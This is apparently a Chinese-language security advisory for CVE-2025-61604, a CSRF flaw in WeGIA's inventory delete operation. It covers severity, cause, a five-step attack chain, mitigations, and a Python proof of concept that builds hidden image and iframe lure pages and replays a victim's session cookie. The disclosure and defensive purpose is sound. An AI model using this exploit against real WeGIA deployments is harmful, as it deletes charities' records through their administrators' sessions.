IPBUF安全漏洞报告
English
CVE-2025-61604 CVSS 7.1 高危

CVE-2025-61604:WeGIA跨站请求伪造漏洞(CSRF)

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-61604
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WeGIA(开源慈善机构Web管理系统)

相关标签

CSRF跨站请求伪造WeGIA高危漏洞开源系统慈善机构管理库存管理HTTP GET认证绕过CVE-2025-61604

漏洞概述

CVE-2025-61604是WeGIA开源Web管理系统中的一个跨站请求伪造(CSRF)高危漏洞,CVSS评分为7.1。WeGIA是一款专注于慈善机构管理的开源Web应用,主要用于管理捐赠者、受益人、库存等慈善活动相关数据。该漏洞存在于Almoxarifado(库存管理)实体的删除操作中,由于删除接口通过HTTP GET方法暴露且未实施任何CSRF保护机制,攻击者可以利用受害者的已认证会话,诱使其访问恶意第三方网站,从而触发未授权的删除操作。

此漏洞的影响范围涵盖WeGIA 3.4.12及以下所有版本。由于删除操作直接修改系统数据且无需二次确认,攻击成功后可导致库存数据被恶意删除,影响慈善机构的正常运营和数据完整性。该漏洞已于2025年10月2日由GitHub安全顾问团队披露,并在WeGIA 3.5.0版本中完成修复。值得注意的是,虽然该漏洞需要用户交互(UI:R)才能触发,但由于无需任何权限(PR:N)即可通过网络远程利用,且对完整性影响为高(I:H),因此整体风险等级仍然较高。

对于依赖WeGIA管理库存和捐赠物资的慈善机构而言,该漏洞可能导致重要物资记录被恶意删除,造成数据丢失和运营中断。建议所有使用受影响版本的用户尽快升级到3.5.0或更高版本以消除风险。

技术细节

该漏洞的核心问题在于WeGIA系统的Almoxarifado(库存管理)模块的删除操作接口设计不当。具体技术细节如下:

1. **HTTP GET方法用于状态变更操作**:删除Almoxarifado实体的操作通过HTTP GET请求实现,而GET方法在HTTP协议规范中本应用于安全、幂等的读取操作。将删除等状态变更操作暴露在GET方法上违反了RESTful API设计原则,也使得CSRF攻击成为可能,因为浏览器在加载图片、链接或重定向时会自动发送GET请求。

2. **缺少CSRF Token验证**:系统在处理删除请求时未验证CSRF Token、Referer头或Origin头等反CSRF机制,导致来自任何第三方站点的请求都会被服务器接受并执行。

3. **会话认证依赖Cookie**:WeGIA使用基于Cookie的会话认证,当用户在浏览器中保持登录状态时,浏览器会自动在跨站请求中携带认证Cookie,使得攻击者可以利用受害者的会话执行操作。

**利用方式**:攻击者创建一个包含恶意<img src="http://target/almoxarifado/delete?id=X">标签或恶意链接的网页,当已登录的WeGIA管理员访问该网页时,浏览器会自动向WeGIA服务器发送GET请求,携带受害者的认证Cookie,从而触发库存记录的删除操作。

**修复方案**:WeGIA 3.5.0版本将删除操作改为POST方法,并添加了CSRF Token验证机制,确保只有来自合法页面的请求才能执行状态变更操作。

攻击链分析

STEP 1
步骤1:环境准备
攻击者识别目标WeGIA实例(版本≤3.4.12),并获取Almoxarifado模块删除接口的URL格式(如/almoxarifado/excluir?id=X)。
STEP 2
步骤2:构造恶意页面
攻击者创建一个包含恶意HTML元素的网页,使用<img>标签、<iframe>或超链接等方式嵌入指向删除接口的GET请求URL。
STEP 3
步骤3:诱导受害者访问
攻击者通过钓鱼邮件、社交媒体或受感染的网站等方式,诱使已登录WeGIA系统的管理员或用户访问恶意页面。
STEP 4
步骤4:触发CSRF攻击
受害者的浏览器在加载恶意页面时,自动向WeGIA服务器发送GET请求,并自动携带认证Cookie,服务器将其视为合法请求并执行删除操作。
STEP 5
步骤5:完成攻击
Almoxarifado库存记录被恶意删除,可能导致重要物资数据丢失,影响慈善机构的库存管理和正常运营。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61604 PoC - WeGIA CSRF Vulnerability # Exploits CSRF in Almoxarifado delete operation via HTTP GET import requests TARGET_URL = "http://target-wegia-server" SESSION_COOKIE = "PHPSESSID=victim_session_cookie_here" # Victim's authenticated session ITEM_ID = "1" # ID of the Almoxarifado item to delete # Method 1: Direct CSRF via image tag (most common attack vector) csrf_html = f""" <!DOCTYPE html> <html> <head><title>Free Puppies!</title></head> <body> <!-- When victim visits this page, browser sends GET request with their session cookie --> <img src="{TARGET_URL}/almoxarifado/excluir?id={ITEM_ID}" style="display:none" /> <h1>Welcome! Loading content...</h1> </body> </html> """ # Save the malicious HTML page with open("malicious_page.html", "w") as f: f.write(csrf_html) print("[+] Malicious CSRF page saved to malicious_page.html") print(f"[+] When an authenticated WeGIA admin visits this page,") print(f"[+] the Almoxarifado item with ID={ITEM_ID} will be deleted.") # Method 2: Direct exploitation demonstration def exploit_directly(): """ Direct exploitation - simulating victim's browser sending the request with their authenticated session cookie """ cookies = {"PHPSESSID": SESSION_COOKIE} delete_url = f"{TARGET_URL}/almoxarifado/excluir?id={ITEM_ID}" # The vulnerable endpoint accepts GET request without CSRF protection response = requests.get(delete_url, cookies=cookies) if response.status_code == 200 or response.status_code == 302: print(f"[+] Exploit successful! Item {ITEM_ID} deleted.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") # Method 3: CSRF via hidden iframe (alternative delivery method) csrf_iframe_html = f""" <!DOCTYPE html> <html> <head><title>Important Document</title></head> <body> <iframe src="{TARGET_URL}/almoxarifado/excluir?id={ITEM_ID}" style="display:none"></iframe> <p>Document loading...</p> </body> </html> """ with open("csrf_iframe.html", "w") as f: f.write(csrf_iframe_html) print("[+] Iframe-based CSRF page saved to csrf_iframe.html")

影响范围

WeGIA ≤ 3.4.12

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制WeGIA系统的网络访问,仅允许可信网络内的用户访问;2)在Web服务器层面(如Nginx/Apache)配置规则,拒绝来自外部Referer的删除接口请求;3)为浏览器配置SameSite Cookie策略,限制跨站请求携带会话Cookie;4)监控Almoxarifado模块的访问日志,及时发现异常的删除操作;5)定期备份库存数据,以便在数据被恶意删除后能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表